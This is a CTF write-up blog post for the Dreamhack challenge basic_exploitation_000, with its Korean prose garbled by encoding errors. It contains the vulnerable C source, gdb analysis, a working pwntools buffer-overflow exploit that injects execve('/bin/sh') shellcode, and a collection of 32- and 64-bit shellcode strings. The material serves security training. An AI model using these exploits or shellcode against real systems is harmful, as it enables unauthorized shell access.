๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
[Dreamhack]SystemHacking/๋กœ๋“œ๋งต_Basic

[Dreamhack] Level2: basic_exploitation_000

by Yun2๐Ÿ‘ 2023. 8. 25.
๋ฐ˜์‘ํ˜•

๐Ÿ›Ž๏ธ Access

์ด ๋ฌธ์ œ๋Š” ์„œ๋ฒ„์—์„œ ์ž‘๋™ํ•˜๊ณ  ์žˆ๋Š” ์„œ๋น„์Šค(basic_exploitation_000)์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ์™€ ์†Œ์Šค ์ฝ”๋“œ๊ฐ€ ์ฃผ์–ด์ง‘๋‹ˆ๋‹ค.
ํ”„๋กœ๊ทธ๋žจ์˜ ์ทจ์•ฝ์ ์„ ์ฐพ๊ณ  ์ต์Šคํ”Œ๋กœ์ž‡ํ•ด ์…ธ์„ ํš๋“ํ•œ ํ›„, “flag” ํŒŒ์ผ์„ ์ฝ์œผ์„ธ์š”.
“flag” ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ์›Œ๊ฒŒ์ž„ ์‚ฌ์ดํŠธ์— ์ธ์ฆํ•˜๋ฉด ์ ์ˆ˜๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ”Œ๋ž˜๊ทธ์˜ ํ˜•์‹์€ DH{…} ์ž…๋‹ˆ๋‹ค.

 

 

๐Ÿ‘พ Exploit Algorithm & Payload

๋”๋ณด๊ธฐ

#basic_exploitaion_000.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

 

#Environment

Ubuntu 16.04
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

 

 

#1


: buf์˜ ์ฃผ์†Œ๊ฐ€ ์ถœ๋ ฅ์ด ๋˜๊ณ  ๋‚œ ํ›„์— ์‚ฌ์šฉ์ž์˜ ๊ฐ’์„ ์ž…๋ ฅ ๋ฐ›๋Š”๋‹ค.

: buf์˜ ์ฃผ์†Œ๊ฐ€ ๊ณ„์† ๋ณ€ํ™”๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.
(ASLR์ด ๊ฑธ๋ ค ์žˆ๋Š” ๊ฒƒ์œผ๋กœ ๋ณด์ž„ - ๋ฉ”๋ชจ๋ฆฌ ์†์ƒ ์ทจ์•ฝ์  ๊ณต๊ฒฉ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•œ ๊ธฐ์ˆ ; ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ, ํž™, ์Šคํƒ ์˜์—ญ ๋“ฑ์˜ ์ฃผ์†Œ๋ฅผ ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์‹คํ–‰๋  ๋•Œ๋งˆ๋‹ค ๋žœ๋คํ•˜๊ฒŒ ๋ฐ”๊ฟ” RTL ๋“ฑ ์ •ํ•ด์ง„ ์ฃผ์†Œ๋ฅผ ์ด์šฉํ•œ ๊ณต๊ฒฉ์„ ๋ง‰๋Š” ๋ณดํ˜ธ๊ธฐ๋ฒ•)

: ‘a’ ๋ฌธ์ž๋ฅผ 132๋ฒˆ ์‹œ๋„ํ–ˆ์„ ๊ฒฝ์šฐ core dumped๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค.

 

 

#2


 

: ์Šคํƒ์˜ ๊ธฐ๋ณธ ๋ฉ”๋ชจ๋ฆฌ ๊ตฌ์กฐ์—์„œ 32bit์—์„œ๋Š” Buffer + SFP[4byte] + RET[4byte],
64bit์—์„œ๋Š” Buffer + SFP[8byte] + RET[8byte]์ด๋‹ค.

: buf[0x80] (128byte)๋งŒํผ ์ฃผ์†Œ๊ฐ€ ํ• ๋‹น๋œ๋‹ค.

: scanf("%141s", buf) (141byte)๋งŒํผ ๋ฌธ์ž์—ด์„ ์ž…๋ ฅ ๋ฐ›์•„ buf์— ์ €์žฅํ•œ๋‹ค.

: ํ˜„์žฌ ์ž…๋ ฅ ๊ฐ’์ด ์ €์žฅํ•  ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฐ„๋ณด๋‹ค ๋” ์ž…๋ ฅ์ด ๊ฐ€๋Šฅํ•˜๊ธฐ ๋•Œ๋ฌธ์— BOF(Buffer OverFlow)์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•  ๊ฒƒ์œผ๋กœ ๋ณด์ธ๋‹ค.

 

: ์—ฌ๊ธฐ์„œ๋Š” 32-(little endian) ํ™˜๊ฒฝ์ž„์œผ๋กœ 132byte(Buffer(128)+SFP(4))ํ›„์— RET ํ•จ์ˆ˜ ์ฃผ์†Œ๊ฐ€ ๋‚˜ํƒ€๋‚˜๋Š” ๊ฒƒ์ด๋‹ค.

: ๋”ฐ๋ผ์„œ RET๊นŒ์ง€ ์ฃผ์†Œ ์ ‘๊ทผ ํ›„ ํ•จ์ˆ˜ ์ฃผ์†Œ๋‚˜ ์‰˜ ์ฝ”๋“œ๋ฅผ ๋ฎ์–ด์“ฐ๋ฉด ๊ทธ ํ•จ์ˆ˜๋‚˜ ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋  ๊ฒƒ์ด๋ผ๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

(132๋ฐ”์ดํŠธ์— ์‰˜ ์ฝ”๋“œ์™€ ์•„๋ฌด ๋ฌธ์ž๋“ค๋กœ ์ฑ„์šด ํ›„ return ๊ฐ’์„ ์นจ๋ฒ”ํ•˜์—ฌ buf ์ฃผ์†Œ ๊ฐ’์„ ๋„ฃ์œผ๋ฉด buf๋กœ ๋Œ์•„๊ฐ€ ์‰˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰์‹œ์ผœ ๊ถŒํ•œ ํƒˆ์ทจ๊ฐ€ ๊ฐ€๋Šฅํ•œ ๋Š๋‚Œ)

 

 

#3


$ gdb basic_exploitation_000
pwndbg> info func #gdb ํ•จ์ˆ˜ ์ฃผ์†Œ
pwndbg> disass main
pwndbg> b *main+45
pwndbg> r

: ์–ด๋–ค ํ•จ์ˆ˜๋“ค์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•œ ํ›„์— main ํ•จ์ˆ˜๋ฅผ ๋””์Šค์–ด์…ˆ๋ธ”๋Ÿฌ๋กœ ํ™•์ธํ•˜์—ฌ scanf ํ•จ์ˆ˜ ํ˜ธ์ถœ ๋ถ€๋ถ„์— break ๊ฑธ์–ด์„œ ๋ถ„์„ํ•˜์˜€๋‹ค. (scanf ๋™์ž‘์„ ํ™•์ธํ•˜๊ณ  ์‹ถ์œผ๋ฉด +42, scanf๋ฅผ ๋‚ด๋ถ€๋ฅผ ๋ถ„์„ํ•˜๊ณ  ์‹ถ์œผ๋ฉด b *main+37 ํ›„์— si๋กœ ์ƒ์„ธํžˆ)

 

&lsquo;a&rsquo; 132๋ฒˆ ์ž…๋ ฅ (core dump)
&lsquo;a&rsquo; 132๋ฒˆ ์ž…๋ ฅ ๊ฒฐ๊ณผ ret์˜ ์ฃผ์†Œ ๋ณ€ํ™”
&lsquo;a&rsquo; 3๋ฒˆ ์ž…๋ ฅ
&lsquo;a&rsquo; 3๋ฒˆ ์ž…๋ ฅ ๊ฒฐ๊ณผ ret ์ฃผ์†Œ

: buf(0xffffd0f8)์— ์œ„์น˜ํ•˜๋Š” ๊ฒƒ์„ ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ํ†ตํ•ด์„œ๋„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

: ‘a’ ๋ฌธ์ž ์ž…๋ ฅ์ด 0xffffd0f8๋ถ€ํ„ฐ ์ž…๋ ฅ๋˜๋ฉฐ ๋ฆฌํ‹€ ์—”๋””์–ธ ํ˜•์‹์œผ๋กœ ์Œ“์—ฌ์žˆ๋Š” ๋ชจ์Šต์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

: ์ด๋ ‡๊ฒŒ gdb ๋””๋ฒ„๊น…์„ ์ด์šฉํ•˜์—ฌ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋ถ„์„ํ•  ์ˆ˜๋„ ์žˆ๋‹ค.

 

 

๐Ÿ”‘Analysis and results for obtaining the Flag DH{…}


๋”๋ณด๊ธฐ

#vi exploit.py

from pwn import * r = remote("host3.dreamhack.games", 11641)

 

r.recvuntil('buf = (')

buf = int(r.recv(10), 16)

 

#26byte shellcode(scanf bypass)

shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"

shellcode += b"\x61"*(132-26)

shellcode += p32(buf)

 

r.sendline(shellcode)

r.interactive()

: python pwn๋„๊ตฌ๋ฅผ ์ด์šฉํ•˜์—ฌ shellcode๋ฅผ ์ž‘์„ฑํ•œ ํ›„ ํ”Œ๋ž˜๊ทธ๋ฅผ ํ™•๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

๐Ÿ’ก๋‹ค์–‘ํ•œ Shell Code (x32, x64)

๋”๋ณด๊ธฐ

| 32bit Shell Code |

#6bytes Shell Code

\x31\xc0\xb0\x01\xcd\x80

 

\x31\xc0: XOR EAX, EAX - EAX ๋ ˆ์ง€์Šคํ„ฐ์˜ ๊ฐ’์„ 0์œผ๋กœ ์„ค์ •ํ•˜์—ฌ ํšจ๊ณผ์ ์œผ๋กœ ์ง€์›๋‹ˆ๋‹ค.

\xb0\x01: MOV AL, 0x01 - ์ด๋Š” 0x01 ๊ฐ’์„ ์ข…๋ฃŒ syscall์— ๋Œ€ํ•œ ์‹œ์Šคํ…œ ํ˜ธ์ถœ ๋ฒˆํ˜ธ๋ฅผ ๋‚˜ํƒ€๋‚ด๋Š” AL(EAX์˜ ํ•˜์œ„ ๋ฐ”์ดํŠธ) ๋ ˆ์ง€์Šคํ„ฐ๋กœ ์ด๋™ํ•ฉ๋‹ˆ๋‹ค.

\xcd\x80: INT 0x80 - ์‹œ์Šคํ…œ ํ˜ธ์ถœ์„ ํ˜ธ์ถœํ•˜๊ธฐ ์œ„ํ•ด ์†Œํ”„ํŠธ์›จ์–ด ์ธํ„ฐ๋ŸฝํŠธ(syscall)๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•ฉ๋‹ˆ๋‹ค.

 

:์ด ๊ฒฝ์šฐ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ข…๋ฃŒํ•˜๋Š” ์ข…๋ฃŒ syscall์„ ํŠธ๋ฆฌ๊ฑฐํ•ฉ๋‹ˆ๋‹ค. ์ „๋ฐ˜์ ์œผ๋กœ ์ด ์‰˜์ฝ”๋“œ๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์ข…๋ฃŒํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋ฉฐ ๋ณธ์งˆ์ ์œผ๋กœ ์‹คํ–‰์„ ์ข…๋ฃŒํ•ฉ๋‹ˆ๋‹ค.

 

#25 Bytes Shell Code \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

 

\x31\xc0: XOR EAX, EAX - EAX ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ์ง€์›๋‹ˆ๋‹ค(0์œผ๋กœ ์„ค์ •). \x50: PUSH EAX - EAX ๊ฐ’์„ ์Šคํƒ์— ํ‘ธ์‹œํ•ฉ๋‹ˆ๋‹ค.

\x68\x2f\x2f\x73\x68: PUSH 0x68732f2f - "/sh"์˜ ASCII ๊ฐ’์„ ์Šคํƒ์— ํ‘ธ์‹œํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋ฌธ์ž์—ด "/sh"์— ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. \x68\x2f\x62\x69\x6e: PUSH 0x6e69622f - "/bin"์˜ ASCII ๊ฐ’์„ ์Šคํƒ์— ํ‘ธ์‹œํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋ฌธ์ž์—ด "/bin"์— ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. \x89\xe3: MOV EBX, ESP - ESP(์Šคํƒ ํฌ์ธํ„ฐ) ๊ฐ’์„ EBX ๋ ˆ์ง€์Šคํ„ฐ๋กœ ์ด๋™ํ•ฉ๋‹ˆ๋‹ค.

\x50: PUSH EAX - EAX ๊ฐ’์„ ์Šคํƒ์— ํ‘ธ์‹œํ•ฉ๋‹ˆ๋‹ค.

\x53: PUSH EBX - EBX ๊ฐ’์„ ์Šคํƒ์— ํ‘ธ์‹œํ•ฉ๋‹ˆ๋‹ค.

\x89\xe1: MOV ECX, ESP - ESP(์Šคํƒ ํฌ์ธํ„ฐ) ๊ฐ’์„ ECX ๋ ˆ์ง€์Šคํ„ฐ๋กœ ์ด๋™ํ•ฉ๋‹ˆ๋‹ค.

\x31\xd2: XOR EDX, EDX - EDX ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ์ง€์›๋‹ˆ๋‹ค(0์œผ๋กœ ์„ค์ •).

\xb0\x0b: MOV AL, 0x0b - ๊ฐ’ 0x0b๋ฅผ AL(EAX์˜ ํ•˜์œ„ ๋ฐ”์ดํŠธ) ๋ ˆ์ง€์Šคํ„ฐ๋กœ ์ด๋™ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” execve syscall์— ๋Œ€ํ•œ ์‹œ์Šคํ…œ ํ˜ธ์ถœ ๋ฒˆํ˜ธ๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.

\xcd\x80: INT 0x80 - ์‹œ์Šคํ…œ ํ˜ธ์ถœ์„ ํ˜ธ์ถœํ•˜๊ธฐ ์œ„ํ•ด ์†Œํ”„ํŠธ์›จ์–ด ์ธํ„ฐ๋ŸฝํŠธ(syscall)๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•ฉ๋‹ˆ๋‹ค.

 

:์ด ๊ฒฝ์šฐ ์ง€์ •๋œ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ƒˆ ํ”„๋กœ์„ธ์Šค๋ฅผ ์‹คํ–‰ํ•˜๋Š” execve syscall์„ ํŠธ๋ฆฌ๊ฑฐํ•ฉ๋‹ˆ๋‹ค. ์ „๋ฐ˜์ ์œผ๋กœ ์ด ์‰˜์ฝ”๋“œ๋Š” execve syscall์„ ํ˜ธ์ถœํ•˜์—ฌ ์‰˜("/bin/sh")์„ ์‹คํ–‰ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋ฆฌ๋ฒ„์Šค ์…ธ์„ ์ƒ์„ฑํ•˜๊ฑฐ๋‚˜ ์†์ƒ๋œ ์‹œ์Šคํ…œ์„ ์ œ์–ดํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ์…ธ์ฝ”๋“œ

 

#26 Bytes Shell Code(scnaf ์šฐํšŒ ์‰˜ ์ฝ”๋“œ) \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80

: scanfํ•จ์ˆ˜๋Š” \x09, \x0a, \x0b, \x0c, \x0d, \x20์„ ์ฝ์ง€ ๋ชปํ•˜๊ธฐ ๋•Œ๋ฌธ์— 25Byte Shell Code์™€ ๋‹ค๋ฆ„

 

\x31\xc9: XOR ECX, ECX - ECX ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ์ง€์›๋‹ˆ๋‹ค(0์œผ๋กœ ์„ค์ •).

\x31\xd2: XOR EDX, EDX - EDX ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ์ง€์›๋‹ˆ๋‹ค(0์œผ๋กœ ์„ค์ •).

\xb0\x08: MOV AL, 0x08 - 0x08 ๊ฐ’์„ AL(EAX์˜ ํ•˜์œ„ ๋ฐ”์ดํŠธ) ๋ ˆ์ง€์Šคํ„ฐ๋กœ ์ด๋™ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” syscall sys_waitpid์— ๋Œ€ํ•œ ์‹œ์Šคํ…œ ํ˜ธ์ถœ ๋ฒˆํ˜ธ๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.

\x40\x40\x40: INC EAX 3๋ฐฐ - EAX ๊ฐ’์„ 1์”ฉ 3๋ฐฐ ์ฆ๊ฐ€์‹œํ‚ต๋‹ˆ๋‹ค. ์ด๋Š” EAX์— 3์„ ๋”ํ•˜๋Š” ๊ฒƒ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

\xcd\x80: INT 0x80 - ์‹œ์Šคํ…œ ํ˜ธ์ถœ์„ ํ˜ธ์ถœํ•˜๊ธฐ ์œ„ํ•ด ์†Œํ”„ํŠธ์›จ์–ด ์ธํ„ฐ๋ŸฝํŠธ(syscall)๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•ฉ๋‹ˆ๋‹ค.

 

:์ด ๊ฒฝ์šฐ sys_waitpid syscall์„ ํŠธ๋ฆฌ๊ฑฐํ•ฉ๋‹ˆ๋‹ค. ์ด ์‰˜์ฝ”๋“œ์˜ ์ฃผ์š” ์ฐจ์ด์ ์€ execve syscall์„ ์ค€๋น„ํ•˜๋Š” ์ดˆ๊ธฐ ๋ช…๋ น ์ง‘ํ•ฉ ๋’ค์— ํ•˜์œ„ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ข…๋ฃŒ๋  ๋•Œ๊นŒ์ง€ ๊ธฐ๋‹ค๋ฆฌ๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” sys_waitpid syscall์„ ํ˜ธ์ถœํ•˜๊ธฐ ์œ„ํ•œ ๋ช…๋ น์ด ํฌํ•จ๋˜์–ด ์žˆ๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด ์ถ”๊ฐ€ ๊ธฐ๋Šฅ์€ ์‰˜์ฝ”๋“œ๊ฐ€ ๊ณ„์† ์ง„ํ–‰ํ•˜๊ธฐ ์ „์— ์ƒ์„ฑ๋œ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์‹คํ–‰์„ ์™„๋ฃŒํ•˜๋Š”์ง€ ํ™•์ธํ•ด์•ผ ํ•˜๋Š” ํŠน์ • ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ ์œ ์šฉ

 

#41 Bytes Shell Code(setreuid(geteuid(), getreuid()) ํฌํ•จ) \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

 

#48 Bytes Shell Code(\x2f๊ฐ€ ์—†๋Š” ์‰˜์ฝ”๋“œ) \xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81

 

| 64bit Shell Code |

#23 Bytes Shell Code(๊ธฐ๋ณธ ์‰˜์ฝ”๋“œ) \x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05

 

#31 Bytes Shell Code \x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05

[+]

: ์ถ”๊ฐ€๋กœ ์ฃผ์š” ์ •๋ณด, ํŒŒ์ผ๋“ค์„ ๊ถŒํ•œ์— ํ—ˆ์šฉ๋œ ๋ถ€๋ถ„๊นŒ์ง€ ์—ด๋žŒํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

 

 

 

๐Ÿ“Œ Summary


BOF๋Š” ๋ฒ„ํผ๊ฐ€ ๋„˜์น  ์ˆ˜ ์žˆ๋Š” ์ฝ”๋“œ๋ฅผ ํŠนํžˆ ์ฃผ์˜ํ•ด์•ผํ•œ๋‹ค.

 

| BOF์— ์ทจ์•ฝํ•œ ํ•จ์ˆ˜ |

: ์ฒ˜๋ฆฌํ•˜๋Š” ๋ฌธ์ž์—ด์˜ ์ตœ๋Œ€ ํฌ๊ธฐ๋ฅผ ์ •ํ•˜์ง€ ์•Š๋Š” ํ•จ์ˆ˜

  • strcpy
  • strcat
  • gets
  • fscanf
  • scanf
  • sprintf
  • sscanf
  • vfscanf
  • vsprintf
  • vscanf
  • vsscanf
  • streadd
  • strecpy
  • strtrns
๋ฐ˜์‘ํ˜•

'[Dreamhack]SystemHacking > ๋กœ๋“œ๋งต_Basic' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Dreamhack] Level1: Return to Shellcode  (0) 2023.08.30
[Dreamhack] Level1: basic_exploitation_001  (0) 2023.08.28
[Dreamhack] Level2: shell_basic  (0) 2023.08.22
[Dreamhack] Level1: Return Address Overwrite  (0) 2023.08.18